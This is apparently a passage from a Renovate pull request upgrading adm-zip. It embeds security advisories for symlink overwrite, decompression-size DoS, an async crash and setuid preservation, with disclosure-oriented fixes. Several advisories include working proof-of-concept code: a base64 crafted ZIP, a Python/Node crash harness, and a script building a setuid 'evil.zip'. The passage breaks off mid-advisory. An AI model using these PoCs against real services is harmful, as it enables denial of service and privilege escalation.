Release Notes retrieval for this PR were skipped because no github.com credentials were available.
If you are self-hosted, please see this instruction.

Configuration

📅 Schedule: (in timezone UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [adm-zip](https://github.com/cthackers/adm-zip) | [`^0.5.17` → `^0.6.0`](https://renovatebot.com/diffs/npm/adm-zip/0.5.17/0.6.1) | ![age](https://developer.mend.io/api/mc/badges/age/npm/adm-zip/0.6.1?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/adm-zip/0.5.17/0.6.1?slim=true) | --- ### adm-zip extraction follows destination symlinks, allowing arbitrary file overwrite [CVE-2026-76845](https://nvd.nist.gov/vuln/detail/CVE-2026-76845) / [GHSA-vwc7-r8mq-g2x9](https://github.com/advisories/GHSA-vwc7-r8mq-g2x9) <details> <summary>More information</summary> #### Details adm-zip 0.5.9 through 0.6.0 follows symbolic links at the extraction destination. Utils.sanitize in util/utils.js enforces containment by comparing only the string form of an archive entry name against the resolved extraction root, and Utils.writeFileTo opens the computed destination with fs.openSync(path, "w", 0o666), which resolves symbolic links and carries neither O_NOFOLLOW nor a pre-write fs.lstatSync check. When a path component at the destination already exists as a symbolic link pointing outside the extraction root, extractAllTo, extractAllToAsync and extractEntryTo write the entry contents through that link and then chmod its target, placing attacker-controlled content in a file outside the root without any traversal sequence appearing in the archive. Reaching the write requires overwrite to be enabled, because the preceding fs.existsSync check also resolves the link and otherwise declines. An attacker able to create a symbolic link inside a shared, reused or predictable extraction directory, such as a temporary directory or a continuous integration workspace, can overwrite any file the extracting process is permitted to write. #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N` #### References - [https://nvd.nist.gov/vuln/detail/CVE-2026-76845](https://nvd.nist.gov/vuln/detail/CVE-2026-76845) - [https://github.com/cthackers/adm-zip/issues/574](https://github.com/cthackers/adm-zip/issues/574) - [https://github.com/cthackers/adm-zip/pull/575](https://github.com/cthackers/adm-zip/pull/575) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/blob/v0.6.0/util/utils.js](https://github.com/cthackers/adm-zip/blob/v0.6.0/util/utils.js) - [https://www.vulncheck.com/advisories/adm-zip-through-arbitrary-file-overwrite-via-symlink-following-on-extraction](https://www.vulncheck.com/advisories/adm-zip-through-arbitrary-file-overwrite-via-symlink-following-on-extraction) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vwc7-r8mq-g2x9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip: Crafted ZIP file triggers 4GB memory allocation [CVE-2026-39244](https://nvd.nist.gov/vuln/detail/CVE-2026-39244) / [GHSA-xcpc-8h2w-3j85](https://github.com/advisories/GHSA-xcpc-8h2w-3j85) <details> <summary>More information</summary> #### Details adm-zip before 0.5.18 is vulnerable to denial of service via a crafted ZIP file with a manipulated uncompressed size header field. In zipEntry.js line 103, Buffer.alloc(_centralHeader.size) allocates memory based on the declared uncompressed size from the ZIP central directory header without validating it against the actual compressed data size or imposing any upper bound. The size value is read directly from the binary header at entryHeader.js line 266 with no bounds check. An attacker can craft a ~120-byte ZIP file that declares ~4GB uncompressed size, causing a memory allocation amplification ratio of over 33 million to 1. The allocation occurs before CRC validation, so the malicious payload cannot be rejected early. All extraction and read methods are affected: readFile(), readAsText(), extractEntryTo(), extractAllTo(), extractAllToAsync(), test(), and entry.getData(). Any application accepting untrusted ZIP files via adm-zip is vulnerable to immediate process crash. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://nvd.nist.gov/vuln/detail/CVE-2026-39244](https://nvd.nist.gov/vuln/detail/CVE-2026-39244) - [https://github.com/cthackers/adm-zip/issues/568](https://github.com/cthackers/adm-zip/issues/568) - [https://github.com/cthackers/adm-zip/commit/2450dcf417aa29df49270237d18c5245794da3e2](https://github.com/cthackers/adm-zip/commit/2450dcf417aa29df49270237d18c5245794da3e2) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases](https://github.com/cthackers/adm-zip/releases) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xcpc-8h2w-3j85) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS) [CVE-2026-77301](https://nvd.nist.gov/vuln/detail/CVE-2026-77301) / [GHSA-7q85-xj36-vmfc](https://github.com/advisories/GHSA-7q85-xj36-vmfc) <details> <summary>More information</summary> #### Details ##### Summary adm-zip allocates an entry's output buffer from the declared uncompressed size (central-directory `size` field) before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes. ##### Impact On adm-zip 0.5.17 (latest), Node 24, a 105-byte ZIP with one stored entry declaring size = 1,774,399,200 makes `new AdmZip(buf).getEntries()[0].getData()` commit ~1.8 GB of resident memory in ~4.4 s before throwing `Error: ADM-ZIP: CRC32 checksum failed`, roughly 16 million times the input size. Because the buffer is committed before any validation, on a memory-constrained host (containers, serverless, small VMs) the allocation OOM-kills the process before the CRC check (uncatchable), and concurrent requests can exhaust memory even on larger hosts. Any service that reads entries from untrusted ZIPs is exposed to a remote denial of service. ##### Steps to reproduce Attachments are not supported in the advisory form, so the 105-byte PoC (sha256 `980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386`) is inlined as base64 in this self-contained reproducer: ```js const AdmZip = require('adm-zip'); // 105-byte crafted ZIP, base64-inlined // sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386 const b64 = "UEsDBBQAAAAAAAAAAAAAAAAABQAAAAUAAAABAAAAYWhlbGxvUEsBAhQAFAAAAAAAAAAAAAAAAAAFAAAA4C7DaQEAAAAAAAAAAAAAAAAAAAAAAGFQSwUGAAAAAAEAAQAvAAAAJAAAAAAA"; const buf = Buffer.from(b64, "base64"); // 105 bytes const zip = new AdmZip(buf); zip.getEntries()[0].getData(); // commits ~1.8 GB, then throws "ADM-ZIP: CRC32 checksum failed" ``` The single entry declares uncompressed size = 1,774,399,200 with a compressed size of 5. `getData()` allocates the full declared size before the CRC check runs, so the memory is committed regardless of the (tiny) actual payload. ##### Root cause `zipEntry.js` does `Buffer.alloc(<declared uncompressed size>)` before checking the declared size against the compressed size / available bytes. ##### Suggested fix Validate the declared uncompressed size against the compressed size and a configurable maximum before allocating (yauzl, for example, requires the caller to bound this); reject or stream when the declared size is implausible relative to the input. Happy to send a patch. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/cthackers/adm-zip/security/advisories/GHSA-7q85-xj36-vmfc](https://github.com/cthackers/adm-zip/security/advisories/GHSA-7q85-xj36-vmfc) - [https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6](https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases/tag/v0.6.1](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7q85-xj36-vmfc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS) [GHSA-8238-w5pm-2374](https://github.com/advisories/GHSA-8238-w5pm-2374) <details> <summary>More information</summary> #### Details ##### Summary Denial of Service in `adm-zip`'s async decompression API allows an unauthenticated attacker to crash the entire Node.js host process by supplying a single malformed ZIP file. ##### Details **Affected package**: adm-zip **Affected versions**: at least 0.6.0 (current latest); likely all versions containing the current `inflateAsync` implementation in `methods/inflater.js` **Patched version**: 0.6.1 ##### Root Cause `methods/inflater.js:12-32` (`inflateAsync`) creates a `zlib.createInflateRaw(option)` stream and feeds it attacker-controlled compressed bytes via `tmp.end(inbuf)`, but never registers an `"error"` listener on the stream: ```js inflateAsync: function (/*Function*/ callback) { var tmp = zlib.createInflateRaw(option), parts = [], total = 0; tmp.on("data", function (data) { parts.push(data); total += data.length; }); tmp.on("end", function () { /* build buf, callback(buf) */ }); tmp.end(inbuf); // no tmp.on("error", ...) registered anywhere } ``` Per Node.js `EventEmitter`/stream semantics, an `"error"` event emitted with zero listeners is rethrown as an **uncaught exception on a later tick**, originating from the zlib C++ binding. This cannot be caught by a `try/catch` wrapped around the calling code, because the throw happens asynchronously, outside the synchronous call stack the `try/catch` covers. This code path is reached from every public async API that decompresses entry data: `readFileAsync`, `readAsTextAsync`, `extractAllToAsync`, and `ZipEntry.getDataAsync` (`zipEntry.js:51`, `:97-120`, `:309-315`; `adm-zip.js:157-164`, `:192-210`, `:893`). This library recently patched **CVE-2026-39244** (GHSA-xcpc-8h2w-3j85), an unbounded `Buffer.alloc()` on the *synchronous* decompression path. That fix added a `maxOutputLength` option to `zlib.inflateRawSync`/`zlib.createInflateRaw`, and the sync path's resulting throw is naturally catchable. The async path shares the same `maxOutputLength` option (`methods/inflater.js:5`) but has no error-handling on the stream at all, so it was not covered by that fix and remains exploitable via either of two independent triggers: 1. A DEFLATE entry with corrupted/malformed compressed bytes (`Z_DATA_ERROR`) — no special crafting needed. 2. Compressed data whose inflated size exceeds the declared central-directory size, which now trips the `maxOutputLength` guard — but on the stream this surfaces via the unhandled `"error"` event rather than a catchable throw. ##### Attack Vector 1. Attacker crafts (or corrupts) a ZIP file containing one DEFLATE-compressed entry with invalid/corrupted compressed bytes. Headers, CRC, and offsets can remain fully valid — only the compressed payload bytes need to be malformed. 2. Victim application accepts this ZIP as an untrusted upload and processes it via any of adm-zip's async APIs, e.g.: ```js const zip = new AdmZip(uploadedBuffer); zip.readFileAsync(zip.getEntries()[0], (data) => { /* ... */ }); ``` 3. `inflateAsync` begins decompressing; zlib emits `"error"` on `Z_DATA_ERROR`. 4. No listener exists for that event, so Node rethrows it as an uncaught exception, crashing the entire host process — killing all in-flight requests for every other user/tenant on that process, not just the attacker's own request. ##### Impact Any Node.js service that accepts untrusted ZIP uploads and processes them via adm-zip's async API (the documented, recommended pattern for non-blocking servers) can be crashed by a single unauthenticated request containing one small malicious file. This is a full process-level denial of service, not a per-request error. ##### Proof of Concept Attached: `poc_async_dos.py`. Summary of what it does: 1. Builds a fully valid ZIP using adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`), guaranteeing correct headers/CRC/offsets. 2. Locates the local file header's compressed-data region via its own (untouched) size/offset fields and XORs every byte in that region with `0xFF`, corrupting only the DEFLATE payload. 3. Parses the corrupted archive with a fresh `new AdmZip(badBuf)` (succeeds — headers are intact) and calls `entries[0].getDataAsync(callback)`, wrapped in `try/catch`, in an isolated child process. 4. Captures the child's exit code and stderr. Verified independently 3/3 runs (plus 2 isolating controls: an unmodified zip through the same path does not crash; bare Node `zlib.createInflateRaw()` fed garbage with no error listener reproduces the identical crash outside adm-zip entirely, confirming the root cause is the missing listener, not something else). Representative output: ``` [*] Child process exit code: 1 ----- Node child process stderr (crash evidence) ----- node:events:497 throw er; // Unhandled 'error' event ^ Error: invalid distance too far back at genericNodeError (node:internal/errors:983:15) at Zlib.zlibOnError [as onerror] (node:zlib:191:17) Emitted 'error' event on InflateRaw instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:89:21) { errno: -3, code: 'Z_DATA_ERROR' } Node.js v22.22.1 -------------------------------------- [*] Caught by harness's own try/catch (would mean NOT vulnerable): False [*] getDataAsync callback ever fired (would mean NOT vulnerable): False [*] Child process exited non-zero (crashed): True [+] VULNERABILITY CONFIRMED ``` Reproduction: `python3 poc_async_dos.py` (requires python3 and Node.js; tested on Node.js v22.22.1). ##### Suggested Fix Register an `"error"` listener on the `InflateRaw` stream in `methods/inflater.js`'s `inflateAsync`, and route it to the existing `callback`, e.g.: ```js inflateAsync: function (/*Function*/ callback) { var tmp = zlib.createInflateRaw(option), parts = [], total = 0; tmp.on("data", function (data) { parts.push(data); total += data.length; }); tmp.on("error", function (err) { // surface as a normal async error instead of crashing the process callback(Buffer.alloc(0), err); // or however this codebase's async // error convention is expressed }); tmp.on("end", function () { /* existing behavior */ }); tmp.end(inbuf); } ``` The exact callback/error-propagation convention should match the rest of the codebase's async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an `err`-first convention, at the maintainer's discretion). The key fix is simply: **never leave a Node.js stream without an `"error"` listener when it can plausibly error on attacker-controlled input.** ##### Full PoC Source (`poc_async_dos.py`) ```python #!/usr/bin/env python3 """ Tested version: adm-zip 0.6.0 Tested on: Linux, Node.js v22.22.1 Description: methods/inflater.js:12-32 (inflateAsync) creates a zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever registering an "error" listener on the stream. Per Node.js EventEmitter semantics, an "error" event emitted with zero listeners is rethrown as an uncaught exception -- this happens on a later tick from the zlib C++ binding, so it CANNOT be caught by a try/catch wrapped around the calling code. Any code that feeds an untrusted zip file into one of adm-zip's public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync, ZipEntry.getDataAsync) crashes the entire host Node.js process the moment it encounters a DEFLATE entry with corrupted/malformed compressed bytes. The synchronous decompression path (getData()) was hardened for CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable); this async streaming path was missed by that fix and remains an unauthenticated, single-request availability bug. Impact: Any service that accepts untrusted zip uploads and reads/extracts them via adm-zip's async API (the officially documented, recommended usage for non-blocking servers) can be crashed by a single malicious zip file, with no authentication and no special privileges required. Reproduction: 1. Install: this PoC runs directly against the adm-zip source tree this script lives alongside (no `npm install` needed -- it requires the local checkout via its package.json "main" entry, adm-zip.js). Requires: python3, node (tested with Node.js v22.22.1). 2. Run: python3 poc_async_dos.py 3. Observe: the spawned Node child process exits non-zero with an "Unhandled 'error' event" / Z_DATA_ERROR stack trace on stderr, originating from methods/inflater.js's zlib.createInflateRaw stream. Neither the harness's try/catch nor the getDataAsync callback ever fires -- proving the crash is unrecoverable from calling code. How the malicious zip is built (see the embedded Node harness in build_harness_script() below): 1. Use adm-zip's own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`) to produce a fully valid, well-formed zip archive with one DEFLATE entry. This guarantees every header/CRC/offset field is structurally correct. 2. Locate the local file header at offset 0 and compute the compressed data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields. 3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE payload while leaving every size/offset/CRC field in the local header, central directory, and EOCD record byte-for-byte unchanged, so adm-zip's own parser still locates and slices exactly the right region and reaches the vulnerable inflateAsync() call. """ import os import subprocess import sys import tempfile ##### ============================================================ ##### Configuration ##### ============================================================ PACKAGE_NAME = "adm-zip" TARGET_VERSION = "0.6.0" ##### The adm-zip source tree this PoC lives alongside (Hunter's checkout). REPO_DIR = os.path.dirname(os.path.abspath(__file__)) NODE_BIN = "node" SUBPROCESS_TIMEOUT_SECONDS = 20 ##### ============================================================ ##### Node.js harness (the genuine trigger -- adm-zip is a JS library, so the ##### actual exploit code must run under Node; this Python script builds it, ##### runs it in an isolated child process, and interprets the result). ##### ============================================================ def build_harness_script(repo_dir: str) -> str: return r""" "use strict"; const AdmZip = require(%(repo_dir)r); console.log("HARNESS_START"); // Step 1: build a legitimate zip in memory using adm-zip's OWN writer, with // one DEFLATE-compressed entry. Repetitive text compresses well and // guarantees the DEFLATED method is chosen (not STORED). const zip = new AdmZip(); const payload = Buffer.from( "The quick brown fox jumps over the lazy dog. ".repeat(200), "utf8" ); zip.addFile("payload.txt", payload, ""); const goodBuf = zip.toBuffer(); console.log("BUILT_GOOD_ZIP bytes=" + goodBuf.length); // Step 2: locate the local file header (offset 0 in this single-entry // archive) and corrupt ONLY the compressed-data bytes in place, leaving // every size/offset/CRC field in the local header, central directory, and // EOCD record untouched -- so adm-zip's own parser still finds and slices // exactly the right region and reaches the vulnerable inflateAsync() path. const LOCSIG = 0x04034b50; if (goodBuf.readUInt32LE(0) !== LOCSIG) { throw new Error("unexpected local header signature -- adm-zip writer output changed"); } const compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ const fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM const extraLen = goodBuf.readUInt16LE(28); // LOCEXT const dataStart = 30 + fileNameLen + extraLen; const dataEnd = dataStart + compressedSize; console.log( "LOCAL_HEADER compressedSize=" + compressedSize + " dataStart=" + dataStart + " dataEnd=" + dataEnd ); const badBuf = Buffer.from(goodBuf); // copy, do not mutate original for (let i = dataStart; i < dataEnd; i++) { badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream } console.log("CORRUPTED_COMPRESSED_BYTES count=" + (dataEnd - dataStart)); // Step 3: parse the corrupted archive (this succeeds -- headers are intact) // and hit the vulnerable async decompression path. const zip2 = new AdmZip(badBuf); const entries = zip2.getEntries(); console.log( "PARSED_CORRUPT_ZIP entries=" + entries.length + " name=" + entries[0].entryName ); try { // This is the public, documented API a real server would call on an // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync // all funnel into the same decompress(true, ...) -> inflateAsync path). entries[0].getDataAsync(function (data, err) { // If this ever fires, the library handled the error gracefully // (no crash) -- meaning the vulnerability is NOT present / already // fixed in this build. console.log( "CALLBACK_FIRED data_len=" + (data ? data.length : 0) + " err=" + err ); }); console.log("SYNC_CALL_RETURNED_NO_THROW"); } catch (e) { // If this ever fires, the bug is NOT present -- the error would be // synchronously catchable by ordinary calling code. console.log("CAUGHT_BY_TRY_CATCH: " + e.message); } console.log("HARNESS_END_OF_SYNCHRONOUS_CODE"); // Deliberately NOT registering process.on("uncaughtException", ...) here -- // doing so would mask the exact bug under test. A real, unmodified server // process has no reason to install a blanket uncaughtException handler // either; that is precisely what makes this an unrecoverable process crash. """ % {"repo_dir": repo_dir} ##### ============================================================ ##### Step 1: Setup ##### ============================================================ def setup(): """Verify prerequisites and write out the Node.js harness script.""" print(f"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}") print(f"[*] Target adm-zip source tree: {REPO_DIR}") main_entry = os.path.join(REPO_DIR, "adm-zip.js") if not os.path.isfile(main_entry): print(f"[-] Cannot find adm-zip.js at {main_entry}") sys.exit(1) try: node_version = subprocess.run( [NODE_BIN, "--version"], capture_output=True, text=True, timeout=10 ) print(f"[*] Found Node.js: {node_version.stdout.strip()}") except FileNotFoundError: print("[-] node binary not found on PATH -- required to run this PoC") sys.exit(1) handle, harness_path = tempfile.mkstemp(prefix="admzip_async_dos_", suffix=".js") with os.fdopen(handle, "w") as f: f.write(build_harness_script(REPO_DIR)) print(f"[*] Wrote Node harness to {harness_path}") return harness_path ##### ============================================================ ##### Step 2: Trigger the vulnerability ##### ============================================================ def trigger(harness_path): """Run the Node harness (in its own isolated child process) that builds the malicious zip and feeds it into adm-zip's vulnerable async API.""" print("[*] Triggering vulnerability (spawning isolated Node subprocess)...") try: proc = subprocess.run( [NODE_BIN, harness_path], capture_output=True, text=True, timeout=SUBPROCESS_TIMEOUT_SECONDS, cwd=REPO_DIR, ) return { "timed_out": False, "returncode": proc.returncode, "stdout": proc.stdout, "stderr": proc.stderr, } except subprocess.TimeoutExpired as e: return { "timed_out": True, "returncode": None, "stdout": (e.stdout or b"").decode(errors="replace") if isinstance(e.stdout, bytes) else (e.stdout or ""), "stderr": (e.stderr or b"").decode(errors="replace") if isinstance(e.stderr, bytes) else (e.stderr or ""), } ##### ============================================================ ##### Step 3: Verify impact ##### ============================================================ def verify(result): """Check that the child process crashed with an unhandled 'error' event originating from the async inflater, and that neither the try/catch nor the getDataAsync callback in the harness ever ran.""" print("[*] Verifying impact...") print(f"[*] Child process exit code: {result['returncode']}") print() print("----- Node child process stdout -----") print(result["stdout"].rstrip()) print("----- Node child process stderr (crash evidence) -----") print(result["stderr"].rstrip()) print("--------------------------------------") print() if result["timed_out"]: print("[-] Harness timed out instead of crashing -- inconclusive") return False stdout = result["stdout"] stderr = result["stderr"] returncode = result["returncode"] reached_vuln_call = "SYNC_CALL_RETURNED_NO_THROW" in stdout was_caught = "CAUGHT_BY_TRY_CATCH" in stdout callback_fired = "CALLBACK_FIRED" in stdout process_crashed = returncode is not None and returncode != 0 unhandled_error_evidence = ( "Unhandled 'error' event" in stderr or "ERR_UNHANDLED_ERROR" in stderr or "Emitted 'error' event on InflateRaw instance" in stderr ) print(f"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}") print(f"[*] Caught by harness's own try/catch (would mean NOT vulnerable): {was_caught}") print(f"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}") print(f"[*] Child process exited non-zero (crashed): {process_crashed}") print(f"[*] stderr shows an unhandled 'error' event from the InflateRaw stream: {unhandled_error_evidence}") success = ( reached_vuln_call and not was_caught and not callback_fired and process_crashed and unhandled_error_evidence ) return success ##### ============================================================ ##### Main ##### ============================================================ if __name__ == "__main__": print(f"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===") print(f"[*] Target version: {TARGET_VERSION}") print() harness_path = setup() try: result = trigger(harness_path) success = verify(result) finally: try: os.remove(harness_path) print(f"[*] Cleaned up temp harness file: {harness_path}") except OSError: pass print() if success: print("[+] VULNERABILITY CONFIRMED") print( "[+] Impact: a single untrusted zip file with a corrupted DEFLATE " "entry crashes the entire Node.js process when read via any " "adm-zip *Async API (readFileAsync / readAsTextAsync / " "extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, " "single-request, unrecoverable process-level Denial of Service." ) else: print("[-] Vulnerability NOT confirmed") sys.exit(0 if success else 1) ``` #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374](https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374) - [https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49](https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases/tag/v0.6.1](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8238-w5pm-2374) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip: getDataAsync() bypasses the maxOutputLength size guard enforced by the synchronous getData() path [GHSA-c6fg-446q-cg94](https://github.com/advisories/GHSA-c6fg-446q-cg94) <details> <summary>More information</summary> #### Details ##### Summary adm-zip enforces a `maxOutputLength` guard against decompression bombs on its synchronous `getData()` path, but the equivalent asynchronous `getDataAsync()` path does not enforce it — it accumulates and returns the entire decompressed output regardless of the entry's declared size. An application that checks an entry's declared size before deciding to process it, then reads the entry via `getDataAsync()` (a completely ordinary, often-recommended choice for I/O in Node.js), gets none of the protection it believes it has. ##### Details - `methods/inflater.js:3-10` passes `{maxOutputLength: expectedLength}` to `inflateRawSync`, which Node enforces. - `methods/inflater.js:12-31` passes the same option to `createInflateRaw` but never enforces it on the streaming path — it just accumulates every chunk and allocates a final Buffer of whatever size resulted. ##### PoC ```js const AdmZip = require('adm-zip'); const zip = new AdmZip(); zip.addFile('p', Buffer.alloc(64 * 1024 * 1024, 0x41)); // 64 MiB const raw = Buffer.from(zip.toBuffer()); // patch the local + central declared uncompressed size to 1 byte raw.writeUInt32LE(1, localHeaderSizeOffset); raw.writeUInt32LE(1, centralHeaderSizeOffset); const entry = new AdmZip(raw).getEntry('p'); entry.getData(); // throws: ERR_BUFFER_TOO_LARGE: Cannot create a Buffer larger than 1 bytes entry.getDataAsync((data, error) => { ... }); // returns the full 67,108,864-byte buffer, error is undefined ``` ##### Impact An application that validates a declared size before reading an entry, then uses the async API, gets no protection against a high-ratio DEFLATE payload. Repeated or larger requests could contribute to memory exhaustion. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/cthackers/adm-zip/security/advisories/GHSA-c6fg-446q-cg94](https://github.com/cthackers/adm-zip/security/advisories/GHSA-c6fg-446q-cg94) - [https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6](https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6) - [https://github.com/cthackers/adm-zip](https://github.com/cthackers/adm-zip) - [https://github.com/cthackers/adm-zip/releases/tag/v0.6.1](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-c6fg-446q-cg94) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation [CVE-2026-102282](https://nvd.nist.gov/vuln/detail/CVE-2026-102282) / [GHSA-j5f4-cc29-5x44](https://github.com/advisories/GHSA-j5f4-cc29-5x44) <details> <summary>More information</summary> #### Details ##### Summary adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. ##### Details The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit: ```js // headers/entryHeader.js:187 get fileAttr() { return (_attr || 0) >> 16 & 0xfff; } ``` `0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem. When the flag is on, that value goes straight to the write: ```js // adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo) const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined; filetools.writeFileTo(target, content, overwrite, fileAttr); ``` ```js // util/utils.js:94 self.fs.chmodSync(path, attr || 0o666); ``` No `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance. ##### PoC Tested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux. 1. Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it): ```bash python3 -c " import zipfile zi = zipfile.ZipInfo('pysuidbin') zi.external_attr = 0o4755 << 16 with zipfile.ZipFile('evil.zip', 'w') as z: z.writestr(zi, '#!/bin/sh\nid\n') " ``` 2. Extract with the flag enabled: ```js const AdmZip = require('adm-zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); const fs = require('fs'); const st = fs.statSync('/tmp/out/pysuidbin'); console.log((st.mode & 0o7777).toString(8)); // => 4755 (setuid bit set — the file is root-owned if the extractor runs as root) ``` 3. Control — same zip, default extraction (`keepOriginalPermission=false`): mode comes out `0666`, no setuid. The flag is the enabler. Alternative supply path, if the zip is built in-process with adm-zip's own API: ```js const zip = new AdmZip(); zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755); zip.writeZip('evil.zip'); new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true); // same result: stat mode & 0o7777 === 0o4755 ``` ##### Impact Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering. Realistic chain: 1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file). 2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows. 3. The root-owned setuid file leaves the build, typically preserved by `cp -a`/rsync mode-bit propagation, into the runtime environment. 4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root. Who is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. Severity: Medium Suggested fix, one line in the getter: ```js get fileAttr() { return (_attr >> 16) & 0o777; } ``` #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: 